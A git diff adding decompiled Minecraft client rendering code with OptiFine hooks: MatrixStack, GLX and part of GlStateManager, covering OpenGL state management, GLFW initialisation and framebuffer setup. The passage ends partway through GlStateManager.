100644 index 00000000..92504f01 --- /dev/null +++ b/src/com/mojang/blaze3d/matrix/MatrixStack.java @@ -0,0 +1,128 @@ +package com.mojang.blaze3d.matrix; + +import com.google.common.collect.Queues; +import java.util.ArrayDeque; +import java.util.Deque; +import net.minecraft.util.Util; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.math.vector.Matrix3f; +import net.minecraft.util.math.vector.Matrix4f; +import net.minecraft.util.math.vector.Quaternion; + +public class MatrixStack +{ + Deque freeEntries = new ArrayDeque<>(); + private final Deque stack = Util.make(Queues.newArrayDeque(), (p_lambda$new$0_0_) -> + { + Matrix4f matrix4f = new Matrix4f(); + matrix4f.setIdentity(); + Matrix3f matrix3f = new Matrix3f(); + matrix3f.setIdentity(); + p_lambda$new$0_0_.add(new MatrixStack.Entry(matrix4f, matrix3f)); + }); + + public void translate(double x, double y, double z) + { + MatrixStack.Entry matrixstack$entry = this.stack.getLast(); + matrixstack$entry.matrix.mulTranslate((float)x, (float)y, (float)z); + } + + public void scale(float x, float y, float z) + { + MatrixStack.Entry matrixstack$entry = this.stack.getLast(); + matrixstack$entry.matrix.mulScale(x, y, z); + + if (x == y && y == z) + { + if (x > 0.0F) + { + return; + } + + matrixstack$entry.normal.mul(-1.0F); + } + + float f = 1.0F / x; + float f1 = 1.0F / y; + float f2 = 1.0F / z; + float f3 = MathHelper.fastInvCubeRoot(f * f1 * f2); + matrixstack$entry.normal.mul(Matrix3f.makeScaleMatrix(f3 * f, f3 * f1, f3 * f2)); + } + + public void rotate(Quaternion quaternion) + { + MatrixStack.Entry matrixstack$entry = this.stack.getLast(); + matrixstack$entry.matrix.mul(quaternion); + matrixstack$entry.normal.mul(quaternion); + } + + public void push() + { + MatrixStack.Entry matrixstack$entry = this.stack.getLast(); + MatrixStack.Entry matrixstack$entry1 = this.freeEntries.pollLast(); + + if (matrixstack$entry1 == null) + { + matrixstack$entry1 = new MatrixStack.Entry(matrixstack$entry.matrix.copy(), matrixstack$entry.normal.copy()); + } + else + { + matrixstack$entry1.matrix.set(matrixstack$entry.matrix); + matrixstack$entry1.normal.set(matrixstack$entry.normal); + } + + this.stack.addLast(matrixstack$entry1); + } + + public void pop() + { + MatrixStack.Entry matrixstack$entry = this.stack.removeLast(); + + if (matrixstack$entry != null) + { + this.freeEntries.add(matrixstack$entry); + } + } + + public MatrixStack.Entry getLast() + { + return this.stack.getLast(); + } + + public boolean clear() + { + return this.stack.size() == 1; + } + + public String toString() + { + return this.getLast().toString(); + } + + public static final class Entry + { + private final Matrix4f matrix; + private final Matrix3f normal; + + private Entry(Matrix4f matrix, Matrix3f normal) + { + this.matrix = matrix; + this.normal = normal; + } + + public Matrix4f getMatrix() + { + return this.matrix; + } + + public Matrix3f getNormal() + { + return this.normal; + } + + public String toString() + { + return this.matrix.toString() + this.normal.toString(); + } + } +} diff --git a/src/com/mojang/blaze3d/matrix/package-info.java b/src/com/mojang/blaze3d/matrix/package-info.java new file mode 100644 index 00000000..d2202e86 --- /dev/null +++ b/src/com/mojang/blaze3d/matrix/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.blaze3d.matrix; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/blaze3d/package-info.java b/src/com/mojang/blaze3d/package-info.java new file mode 100644 index 00000000..5934980e --- /dev/null +++ b/src/com/mojang/blaze3d/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.blaze3d; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/blaze3d/platform/GLX.java b/src/com/mojang/blaze3d/platform/GLX.java new file mode 100644 index 00000000..ceb6adab --- /dev/null +++ b/src/com/mojang/blaze3d/platform/GLX.java @@ -0,0 +1,252 @@ +package com.mojang.blaze3d.platform; + +import com.google.common.base.Joiner; +import com.google.common.collect.Lists; +import com.google.common.collect.Maps; +import com.mojang.blaze3d.systems.RenderSystem; +import java.util.List; +import java.util.Map; +import java.util.function.Consumer; +import java.util.function.LongSupplier; +import java.util.function.Supplier; +import net.minecraft.client.MainWindow; +import net.minecraft.client.renderer.BufferBuilder; +import net.minecraft.client.renderer.GlDebugTextUtils; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.optifine.Config; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.lwjgl.Version; +import org.lwjgl.glfw.GLFW; +import org.lwjgl.glfw.GLFWErrorCallback; +import org.lwjgl.glfw.GLFWErrorCallbackI; +import org.lwjgl.glfw.GLFWVidMode; +import org.lwjgl.opengl.GL; +import org.lwjgl.opengl.GL11; +import org.lwjgl.opengl.GLCapabilities; +import oshi.SystemInfo; +import oshi.hardware.Processor; + +public class GLX +{ + private static final Logger LOGGER = LogManager.getLogger(); + private static String capsString = ""; + private static String cpuInfo; + private static final Map LOOKUP_MAP = make(Maps.newHashMap(), (p_lambda$static$0_0_) -> + { + p_lambda$static$0_0_.put(0, "No error"); + p_lambda$static$0_0_.put(1280, "Enum parameter is invalid for this function"); + p_lambda$static$0_0_.put(1281, "Parameter is invalid for this function"); + p_lambda$static$0_0_.put(1282, "Current state is invalid for this function"); + p_lambda$static$0_0_.put(1283, "Stack overflow"); + p_lambda$static$0_0_.put(1284, "Stack underflow"); + p_lambda$static$0_0_.put(1285, "Out of memory"); + p_lambda$static$0_0_.put(1286, "Operation on incomplete framebuffer"); + p_lambda$static$0_0_.put(1286, "Operation on incomplete framebuffer"); + }); + + public static String getOpenGLVersionString() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GLFW.glfwGetCurrentContext() == 0L ? "NO CONTEXT" : GlStateManager.getString(7937) + " GL version " + GlStateManager.getString(7938) + ", " + GlStateManager.getString(7936); + } + + public static int _getRefreshRate(MainWindow p__getRefreshRate_0_) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + long i = GLFW.glfwGetWindowMonitor(p__getRefreshRate_0_.getHandle()); + + if (i == 0L) + { + i = GLFW.glfwGetPrimaryMonitor(); + } + + GLFWVidMode glfwvidmode = i == 0L ? null : GLFW.glfwGetVideoMode(i); + return glfwvidmode == null ? 0 : glfwvidmode.refreshRate(); + } + + public static String _getLWJGLVersion() + { + RenderSystem.assertThread(RenderSystem::isInInitPhase); + return Version.getVersion(); + } + + public static LongSupplier _initGlfw() + { + RenderSystem.assertThread(RenderSystem::isInInitPhase); + MainWindow.checkGlfwError((p_lambda$_initGlfw$1_0_, p_lambda$_initGlfw$1_1_) -> + { + throw new IllegalStateException(String.format("GLFW error before init: [0x%X]%s", p_lambda$_initGlfw$1_0_, p_lambda$_initGlfw$1_1_)); + }); + List list = Lists.newArrayList(); + GLFWErrorCallback glfwerrorcallback = GLFW.glfwSetErrorCallback((p_lambda$_initGlfw$2_1_, p_lambda$_initGlfw$2_2_) -> + { + list.add(String.format("GLFW error during init: [0x%X]%s", p_lambda$_initGlfw$2_1_, p_lambda$_initGlfw$2_2_)); + }); + + if (!GLFW.glfwInit()) + { + throw new IllegalStateException("Failed to initialize GLFW, errors: " + Joiner.on(",").join(list)); + } + else + { + LongSupplier longsupplier = () -> + { + return (long)(GLFW.glfwGetTime() * 1.0E9D); + }; + + for (String s : list) + { + LOGGER.error("GLFW error collected during initialization: {}", (Object)s); + } + + RenderSystem.setErrorCallback(glfwerrorcallback); + return longsupplier; + } + } + + public static void _setGlfwErrorCallback(GLFWErrorCallbackI p__setGlfwErrorCallback_0_) + { + RenderSystem.assertThread(RenderSystem::isInInitPhase); + GLFWErrorCallback glfwerrorcallback = GLFW.glfwSetErrorCallback(p__setGlfwErrorCallback_0_); + + if (glfwerrorcallback != null) + { + glfwerrorcallback.free(); + } + } + + public static boolean _shouldClose(MainWindow p__shouldClose_0_) + { + return GLFW.glfwWindowShouldClose(p__shouldClose_0_.getHandle()); + } + + public static void _setupNvFogDistance() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (GL.getCapabilities().GL_NV_fog_distance) + { + if (Config.isFogFancy()) + { + GlStateManager.fogi(34138, 34139); + } + + if (Config.isFogFast()) + { + GlStateManager.fogi(34138, 34140); + } + } + } + + public static void _init(int p__init_0_, boolean p__init_1_) + { + RenderSystem.assertThread(RenderSystem::isInInitPhase); + GLCapabilities glcapabilities = GL.getCapabilities(); + capsString = "Using framebuffer using " + GlStateManager.init(glcapabilities); + + try + { + Processor[] aprocessor = (new SystemInfo()).getHardware().getProcessors(); + cpuInfo = String.format("%dx %s", aprocessor.length, aprocessor[0]).replaceAll("\\s+", " "); + } + catch (Throwable throwable) + { + } + + GlDebugTextUtils.setDebugVerbosity(p__init_0_, p__init_1_); + } + + public static String _getCapsString() + { + return capsString; + } + + public static String _getCpuInfo() + { + return cpuInfo == null ? "" : cpuInfo; + } + + public static void _renderCrosshair(int p__renderCrosshair_0_, boolean p__renderCrosshair_1_, boolean p__renderCrosshair_2_, boolean p__renderCrosshair_3_) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GlStateManager.disableTexture(); + GlStateManager.depthMask(false); + Tessellator tessellator = RenderSystem.renderThreadTesselator(); + BufferBuilder bufferbuilder = tessellator.getBuffer(); + GL11.glLineWidth(4.0F); + bufferbuilder.begin(1, DefaultVertexFormats.POSITION_COLOR); + + if (p__renderCrosshair_1_) + { + bufferbuilder.pos(0.0D, 0.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + bufferbuilder.pos((double)p__renderCrosshair_0_, 0.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + } + + if (p__renderCrosshair_2_) + { + bufferbuilder.pos(0.0D, 0.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + bufferbuilder.pos(0.0D, (double)p__renderCrosshair_0_, 0.0D).color(0, 0, 0, 255).endVertex(); + } + + if (p__renderCrosshair_3_) + { + bufferbuilder.pos(0.0D, 0.0D, 0.0D).color(0, 0, 0, 255).endVertex(); + bufferbuilder.pos(0.0D, 0.0D, (double)p__renderCrosshair_0_).color(0, 0, 0, 255).endVertex(); + } + + tessellator.draw(); + GL11.glLineWidth(2.0F); + bufferbuilder.begin(1, DefaultVertexFormats.POSITION_COLOR); + + if (p__renderCrosshair_1_) + { + bufferbuilder.pos(0.0D, 0.0D, 0.0D).color(255, 0, 0, 255).endVertex(); + bufferbuilder.pos((double)p__renderCrosshair_0_, 0.0D, 0.0D).color(255, 0, 0, 255).endVertex(); + } + + if (p__renderCrosshair_2_) + { + bufferbuilder.pos(0.0D, 0.0D, 0.0D).color(0, 255, 0, 255).endVertex(); + bufferbuilder.pos(0.0D, (double)p__renderCrosshair_0_, 0.0D).color(0, 255, 0, 255).endVertex(); + } + + if (p__renderCrosshair_3_) + { + bufferbuilder.pos(0.0D, 0.0D, 0.0D).color(127, 127, 255, 255).endVertex(); + bufferbuilder.pos(0.0D, 0.0D, (double)p__renderCrosshair_0_).color(127, 127, 255, 255).endVertex(); + } + + tessellator.draw(); + GL11.glLineWidth(1.0F); + GlStateManager.depthMask(true); + GlStateManager.enableTexture(); + } + + public static String getErrorString(int p_getErrorString_0_) + { + return LOOKUP_MAP.get(p_getErrorString_0_); + } + + public static T make(Supplier p_make_0_) + { + return p_make_0_.get(); + } + + public static T make(T p_make_0_, Consumer p_make_1_) + { + p_make_1_.accept(p_make_0_); + return p_make_0_; + } + + public static boolean isUsingFBOs() + { + return true; + } + + public static boolean useVbo() + { + return true; + } +} diff --git a/src/com/mojang/blaze3d/platform/GlStateManager.java b/src/com/mojang/blaze3d/platform/GlStateManager.java new file mode 100644 index 00000000..a7fafe09 --- /dev/null +++ b/src/com/mojang/blaze3d/platform/GlStateManager.java @@ -0,0 +1,2462 @@ +package com.mojang.blaze3d.platform; + +import com.mojang.blaze3d.systems.RenderSystem; +import java.nio.Buffer; +import java.nio.ByteBuffer; +import java.nio.FloatBuffer; +import java.nio.IntBuffer; +import java.util.ArrayList; +import java.util.List; +import java.util.stream.IntStream; +import javax.annotation.Nullable; +import net.minecraft.client.renderer.GLAllocation; +import net.minecraft.client.shader.FramebufferConstants; +import net.minecraft.client.util.LWJGLMemoryUntracker; +import net.minecraft.util.math.vector.Matrix4f; +import net.minecraft.util.math.vector.Vector3f; +import net.minecraft.util.math.vector.Vector4f; +import net.optifine.Config; +import net.optifine.SmartAnimations; +import net.optifine.render.GlAlphaState; +import net.optifine.render.GlBlendState; +import net.optifine.render.GlCullState; +import net.optifine.shaders.Shaders; +import net.optifine.util.LockCounter; +import org.lwjgl.opengl.ARBCopyBuffer; +import org.lwjgl.opengl.ARBFramebufferObject; +import org.lwjgl.opengl.EXTFramebufferBlit; +import org.lwjgl.opengl.EXTFramebufferObject; +import org.lwjgl.opengl.GL11; +import org.lwjgl.opengl.GL13; +import org.lwjgl.opengl.GL14; +import org.lwjgl.opengl.GL15; +import org.lwjgl.opengl.GL20; +import org.lwjgl.opengl.GL30; +import org.lwjgl.opengl.GL31; +import org.lwjgl.opengl.GLCapabilities; +import org.lwjgl.system.MemoryUtil; + +public class GlStateManager +{ + private static final FloatBuffer MATRIX_BUFFER = GLX.make(MemoryUtil.memAllocFloat(16), (p_lambda$static$0_0_) -> + { + LWJGLMemoryUntracker.untrack(MemoryUtil.memAddress(p_lambda$static$0_0_)); + }); + private static final GlStateManager.AlphaState ALPHA_TEST = new GlStateManager.AlphaState(); + private static final GlStateManager.BooleanState LIGHTING = new GlStateManager.BooleanState(2896); + private static final GlStateManager.BooleanState[] LIGHT_ENABLE = IntStream.range(0, 8).mapToObj((p_lambda$static$1_0_) -> + { + return new GlStateManager.BooleanState(16384 + p_lambda$static$1_0_); + }).toArray((p_lambda$static$2_0_) -> + { + return new GlStateManager.BooleanState[p_lambda$static$2_0_]; + }); + private static final GlStateManager.ColorMaterialState COLOR_MATERIAL = new GlStateManager.ColorMaterialState(); + private static final GlStateManager.BlendState BLEND = new GlStateManager.BlendState(); + private static final GlStateManager.DepthState DEPTH = new GlStateManager.DepthState(); + private static final GlStateManager.FogState FOG = new GlStateManager.FogState(); + private static final GlStateManager.CullState CULL = new GlStateManager.CullState(); + private static final GlStateManager.PolygonOffsetState POLY_OFFSET = new GlStateManager.PolygonOffsetState(); + private static final GlStateManager.ColorLogicState COLOR_LOGIC = new GlStateManager.ColorLogicState(); + private static final GlStateManager.TexGenState TEX_GEN = new GlStateManager.TexGenState(); + private static final GlStateManager.StencilState STENCIL = new GlStateManager.StencilState(); + private static final GlStateManager.ScissorState field_244591_n = new GlStateManager.ScissorState(); + private static final FloatBuffer FLOAT_4_BUFFER = GLAllocation.createDirectFloatBuffer(4); + private static int activeTexture; + private static final GlStateManager.TextureState[] TEXTURES = IntStream.range(0, 32).mapToObj((p_lambda$static$3_0_) -> + { + return new GlStateManager.TextureState(); + }).toArray((p_lambda$static$4_0_) -> + { + return new GlStateManager.TextureState[p_lambda$static$4_0_]; + }); + private static int shadeModel = 7425; + private static final GlStateManager.BooleanState RESCALE_NORMAL = new GlStateManager.BooleanState(32826); + private static final GlStateManager.ColorMask COLOR_MASK = new GlStateManager.ColorMask(); + private static final GlStateManager.Color COLOR = new GlStateManager.Color(); + private static GlStateManager.FramebufferExtension fboMode; + private static GlStateManager.SupportType supportType; + private static LockCounter alphaLock = new LockCounter(); + private static GlAlphaState alphaLockState = new GlAlphaState(); + private static LockCounter blendLock = new LockCounter(); + private static GlBlendState blendLockState = new GlBlendState(); + private static LockCounter cullLock = new LockCounter(); + private static GlCullState cullLockState = new GlCullState(); + private static boolean clientStateLocked = false; + private static int clientActiveTexture = 0; + private static boolean creatingDisplayList = false; + public static float lastBrightnessX = 0.0F; + public static float lastBrightnessY = 0.0F; + public static boolean openGL31; + public static boolean vboRegions; + public static int GL_COPY_READ_BUFFER; + public static int GL_COPY_WRITE_BUFFER; + public static int GL_ARRAY_BUFFER; + public static int GL_STATIC_DRAW; + private static boolean fogAllowed = true; + public static final int GL_QUADS = 7; + public static final int GL_TRIANGLES = 4; + public static final int GL_TEXTURE0 = 33984; + public static final int GL_TEXTURE1 = 33985; + public static final int GL_TEXTURE2 = 33986; + + @Deprecated + public static void pushLightingAttributes() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glPushAttrib(8256); + } + + @Deprecated + public static void pushTextureAttributes() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glPushAttrib(270336); + } + + @Deprecated + public static void popAttributes() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glPopAttrib(); + } + + @Deprecated + public static void disableAlphaTest() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (alphaLock.isLocked()) + { + alphaLockState.setDisabled(); + } + else + { + ALPHA_TEST.test.disable(); + } + } + + @Deprecated + public static void enableAlphaTest() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + if (alphaLock.isLocked()) + { + alphaLockState.setEnabled(); + } + else + { + ALPHA_TEST.test.enable(); + } + } + + @Deprecated + public static void alphaFunc(int func, float ref) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + if (alphaLock.isLocked()) + { + alphaLockState.setFuncRef(func, ref); + } + else + { + if (func != ALPHA_TEST.func || ref != ALPHA_TEST.ref) + { + ALPHA_TEST.func = func; + ALPHA_TEST.ref = ref; + GL11.glAlphaFunc(func, ref); + } + } + } + + @Deprecated + public static void enableLighting() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + LIGHTING.enable(); + } + + @Deprecated + public static void disableLighting() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + LIGHTING.disable(); + } + + @Deprecated + public static void enableLight(int light) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + LIGHT_ENABLE[light].enable(); + } + + @Deprecated + public static void enableColorMaterial() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + COLOR_MATERIAL.colorMaterial.enable(); + } + + @Deprecated + public static void disableColorMaterial() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + COLOR_MATERIAL.colorMaterial.disable(); + } + + @Deprecated + public static void colorMaterial(int face, int mode) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (face != COLOR_MATERIAL.face || mode != COLOR_MATERIAL.mode) + { + COLOR_MATERIAL.face = face; + COLOR_MATERIAL.mode = mode; + GL11.glColorMaterial(face, mode); + } + } + + @Deprecated + public static void light(int light, int pname, FloatBuffer params) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glLightfv(light, pname, params); + } + + @Deprecated + public static void lightModel(int pname, FloatBuffer params) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glLightModelfv(pname, params); + } + + @Deprecated + public static void normal3f(float nx, float ny, float nz) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL11.glNormal3f(nx, ny, nz); + } + + public static void func_244593_j() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + field_244591_n.field_244595_a.disable(); + } + + public static void func_244594_k() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + field_244591_n.field_244595_a.enable(); + } + + public static void func_244592_a(int p_244592_0_, int p_244592_1_, int p_244592_2_, int p_244592_3_) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + GL20.glScissor(p_244592_0_, p_244592_1_, p_244592_2_, p_244592_3_); + } + + public static void disableDepthTest() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + DEPTH.test.disable(); + } + + public static void enableDepthTest() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + DEPTH.test.enable(); + } + + public static void depthFunc(int depthFunc) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + if (depthFunc != DEPTH.func) + { + DEPTH.func = depthFunc; + GL11.glDepthFunc(depthFunc); + } + } + + public static void depthMask(boolean flagIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (flagIn != DEPTH.mask) + { + DEPTH.mask = flagIn; + GL11.glDepthMask(flagIn); + } + } + + public static void disableBlend() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (blendLock.isLocked()) + { + blendLockState.setDisabled(); + } + else + { + BLEND.blend.disable(); + } + } + + public static void enableBlend() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (blendLock.isLocked()) + { + blendLockState.setEnabled(); + } + else + { + BLEND.blend.enable(); + } + } + public static void disableAlphaNoLock() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + ALPHA_TEST.test.disable(); + } + + public static void enableAlphaNoLock() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + ALPHA_TEST.test.enable(); + } + public static void disableBlendNoLock() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + BLEND.blend.disable(); + } + + public static void enableBlendNoLock() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + BLEND.blend.enable(); + } + + public static void blendFunc(int srcFactor, int dstFactor) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (blendLock.isLocked()) + { + blendLockState.setFactors(srcFactor, dstFactor); + } + else + { + if (srcFactor != BLEND.srcFactorRgb || dstFactor != BLEND.dstFactorRgb || srcFactor != BLEND.srcFactorAlpha || dstFactor != BLEND.dstFactorAlpha) + { + BLEND.srcFactorRgb = srcFactor; + BLEND.dstFactorRgb = dstFactor; + BLEND.srcFactorAlpha = srcFactor; + BLEND.dstFactorAlpha = dstFactor; + + if (Config.isShaders()) + { + Shaders.uniform_blendFunc.setValue(srcFactor, dstFactor, srcFactor, dstFactor); + } + + GL11.glBlendFunc(srcFactor, dstFactor); + } + } + } + + public static void blendFuncSeparate(int srcFactor, int dstFactor, int srcFactorAlpha, int dstFactorAlpha) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (blendLock.isLocked()) + { + blendLockState.setFactors(srcFactor, dstFactor, srcFactorAlpha, dstFactorAlpha); + } + else + { + if (srcFactor != BLEND.srcFactorRgb || dstFactor != BLEND.dstFactorRgb || srcFactorAlpha != BLEND.srcFactorAlpha || dstFactorAlpha != BLEND.dstFactorAlpha) + { + BLEND.srcFactorRgb = srcFactor; + BLEND.dstFactorRgb = dstFactor; + BLEND.srcFactorAlpha = srcFactorAlpha; + BLEND.dstFactorAlpha = dstFactorAlpha; + + if (Config.isShaders()) + { + Shaders.uniform_blendFunc.setValue(srcFactor, dstFactor, srcFactorAlpha, dstFactorAlpha); + } + + glBlendFuncSeparate(srcFactor, dstFactor, srcFactorAlpha, dstFactorAlpha); + } + } + } + public static void blendFuncSeparateNoLock(int srcFactor, int dstFactor, int srcFactorAlpha, int dstFactorAlpha) { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + + if (srcFactor != BLEND.srcFactorRgb || dstFactor != BLEND.dstFactorRgb || srcFactorAlpha != BLEND.srcFactorAlpha || dstFactorAlpha != BLEND.dstFactorAlpha) { + BLEND.srcFactorRgb = srcFactor; + BLEND.dstFactorRgb = dstFactor; + BLEND.srcFactorAlpha = srcFactorAlpha; + BLEND.dstFactorAlpha = dstFactorAlpha; + + if (Config.isShaders()) { + Shaders.uniform_blendFunc.setValue(srcFactor, dstFactor, srcFactorAlpha, dstFactorAlpha); + } + + glBlendFuncSeparate(srcFactor, dstFactor, srcFactorAlpha, dstFactorAlpha); + } + } + + public static void blendColor(float red, float green, float blue, float alpha) + { + GL14.glBlendColor(red, green, blue, alpha); + } + + public static void blendEquation(int blendEquation) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL14.glBlendEquation(blendEquation); + } + + public static String init(GLCapabilities glCapabilities) + { + RenderSystem.assertThread(RenderSystem::isInInitPhase); + Config.initDisplay(); + openGL31 = glCapabilities.OpenGL31; + + if (openGL31) + { + GL_COPY_READ_BUFFER = 36662; + GL_COPY_WRITE_BUFFER = 36663; + } + else + { + GL_COPY_READ_BUFFER = 36662; + GL_COPY_WRITE_BUFFER = 36663; + } + + if (glCapabilities.OpenGL15) + { + GL_ARRAY_BUFFER = 34962; + GL_STATIC_DRAW = 35044; + } + else + { + GL_ARRAY_BUFFER = 34962; + GL_STATIC_DRAW = 35044; + } + + boolean flag = openGL31 || glCapabilities.GL_ARB_copy_buffer; + boolean flag1 = glCapabilities.OpenGL14; + vboRegions = flag && flag1; + + if (!vboRegions) + { + List list = new ArrayList<>(); + + if (!flag) + { + list.add("OpenGL 1.3, ARB_copy_buffer"); + } + + if (!flag1) + { + list.add("OpenGL 1.4"); + } + + String s = "VboRegions not supported, missing: " + Config.listToString(list); + Config.dbg(s); + list.add(s); + } + + if (glCapabilities.OpenGL30) + { + supportType = GlStateManager.SupportType.BASE; + } + else if (glCapabilities.GL_EXT_framebuffer_blit) + { + supportType = GlStateManager.SupportType.EXT; + } + else + { + supportType = GlStateManager.SupportType.NONE; + } + + if (glCapabilities.OpenGL30) + { + fboMode = GlStateManager.FramebufferExtension.BASE; + FramebufferConstants.GL_FRAMEBUFFER = 36160; + FramebufferConstants.GL_RENDERBUFFER = 36161; + FramebufferConstants.GL_COLOR_ATTACHMENT0 = 36064; + FramebufferConstants.GL_DEPTH_ATTACHMENT = 36096; + FramebufferConstants.GL_FRAMEBUFFER_COMPLETE = 36053; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT = 36054; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT = 36055; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER = 36059; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER = 36060; + return "OpenGL 3.0"; + } + else if (glCapabilities.GL_ARB_framebuffer_object) + { + fboMode = GlStateManager.FramebufferExtension.ARB; + FramebufferConstants.GL_FRAMEBUFFER = 36160; + FramebufferConstants.GL_RENDERBUFFER = 36161; + FramebufferConstants.GL_COLOR_ATTACHMENT0 = 36064; + FramebufferConstants.GL_DEPTH_ATTACHMENT = 36096; + FramebufferConstants.GL_FRAMEBUFFER_COMPLETE = 36053; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT = 36055; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT = 36054; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER = 36059; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER = 36060; + return "ARB_framebuffer_object extension"; + } + else if (glCapabilities.GL_EXT_framebuffer_object) + { + fboMode = GlStateManager.FramebufferExtension.EXT; + FramebufferConstants.GL_FRAMEBUFFER = 36160; + FramebufferConstants.GL_RENDERBUFFER = 36161; + FramebufferConstants.GL_COLOR_ATTACHMENT0 = 36064; + FramebufferConstants.GL_DEPTH_ATTACHMENT = 36096; + FramebufferConstants.GL_FRAMEBUFFER_COMPLETE = 36053; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT = 36055; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT = 36054; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER = 36059; + FramebufferConstants.GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER = 36060; + return "EXT_framebuffer_object extension"; + } + else + { + throw new IllegalStateException("Could not initialize framebuffer support."); + } + } + + public static int getProgram(int program, int pname) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glGetProgrami(program, pname); + } + + public static void attachShader(int program, int shaderIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glAttachShader(program, shaderIn); + } + + public static void deleteShader(int shaderIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glDeleteShader(shaderIn); + } + + public static int createShader(int type) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glCreateShader(type); + } + + public static void shaderSource(int shaderIn, CharSequence source) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glShaderSource(shaderIn, source); + } + + public static void compileShader(int shaderIn) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glCompileShader(shaderIn); + } + + public static int getShader(int shaderIn, int pname) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glGetShaderi(shaderIn, pname); + } + + public static void useProgram(int program) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUseProgram(program); + } + + public static int createProgram() + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glCreateProgram(); + } + + public static void deleteProgram(int program) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glDeleteProgram(program); + } + + public static void linkProgram(int program) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glLinkProgram(program); + } + + public static int getUniformLocation(int program, CharSequence name) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + return GL20.glGetUniformLocation(program, name); + } + + public static void uniform1i(int location, IntBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform1iv(location, value); + } + + public static void uniform1i(int location, int value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform1i(location, value); + } + + public static void uniform1f(int location, FloatBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + GL20.glUniform1fv(location, value); + } + + public static void uniform2i(int location, IntBuffer value) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThread); + 